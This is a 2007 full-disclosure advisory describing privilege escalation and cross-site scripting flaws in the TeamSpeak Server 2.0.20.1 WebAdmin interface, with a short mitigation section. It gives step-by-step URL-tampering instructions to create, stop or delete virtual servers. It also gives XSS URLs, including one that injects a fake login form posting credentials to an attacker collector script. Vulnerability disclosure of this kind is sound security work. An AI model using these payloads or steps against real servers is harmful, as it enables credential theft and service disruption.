[Full-disclosure] Teamspeak Server 2.0.20.1 Vulnerabilities

2007-05-12T00:00:00
ID SECURITYVULNS:DOC:17006
Type securityvulns
Reporter Securityvulns
Modified 2007-05-12T00:00:00

Description

Hi everyone, several months ago I discovered some vulnerabilities in TeamSpeak Server WebAdmin interface.

I sent the advisory and exploit to the developers about two months ago (11 03 2007), but the server is still vulnerable, today.

Affected software: Teamspeak Server 2.0.20.1

Looks like the beta build 2.0.23.15 isn't affected (or at least my exploit doesn't work on that).

1) Privilege escalation can lead to Service Abuse or Denial of Service

TeamSpeak server is based on a "site" and multiple "virtual servers".

On each "site" there are one or more SuperAdmin users that can manage the site configuration, adding more SuperAdmin users, adding, starting, stopping or removing virtual servers or even manage each single server, by selecting it from the web interface or the text-based one.

Each virtual server has one or more ServerAdmin users that can modify virtual server parameters (like the name), adding new users for the specified server (also new ServerAdmin users) and modify user privileges relative to that virtual server.

The problem lies on the RegisteredUser privileges configuration page: in that page are listed privileges intended to be associated to the SuperAdmin role, like AdminAddServer or AdminStartServer. By activating these privileges for the RegisteredUsers role, loggin in with a new RegisteredUser account and doing some simple url tampering it is possible to CREATE, START, STOP and DELETE virtual servers to the site, without SuperAdmin access.

What is required:

  • ServerAdmin access to the web interface

Here is a simple exploit pattern:

  • As Server Admin with WebAdmin access:

  • check AccessWebAdminServer, AdminAddServer, AdminDeleteServer, AdminStartServer, AdminStopServer privileges for Registered users

  • create a new registered user
  • logout

  • As Registered User with WebAdmin access you can create a new virtual server:

  • login with the new account

  • change the url to http://your_site:your_port/server_manager_add.html
  • ADD NEW SERVER!!! (maybe you want to restrict codecs to get a usable default, like speex 12)
  • change the url to http://your_site:your_port/start_server.tscmd?serverid=N where N is the server ID (may require some guessing!)
  • NOW THE SERVER IS ONLINE!!!
  • Connect as ANONYMOUS to the server and ENJOY :)

  • As Registered User with WebAdmin access you can DELETE any existing virtual server:

  • login with the new account

  • change the url to http://10.7.7.20:14534/ask_delete_server.tscmd?serverid=N where N is a number starting from 1
  • if you click YES you can DELETE any virtual server

  • As Registered User with WebAdmin access you can START or STOP any existing server:

  • login as Registered User

  • change the url to http://your_site:your_port/start_server.tscmd?serverid=N to start any server
  • change the url to http://your_site:your_port/stop_server.tscmd?serverid=N to stop any server

2) Cross Site Scripting

Pages ok_box.html and error_box.html are vulnerable to common Cross Site Scripting attacks:

http://your_ts_server_here:14534/error_box.html?error_title=session expired - please login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User: <input type="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html

http://webadmin_uri:14534/ok_box.html?ok_title=%3Cscript% 3Ealert('hello')%3C/script%3E

Mitigation

Disable WebAdmin access. Upgrade to beta release.

Gilberto Ficara

(sorry for my bad english :))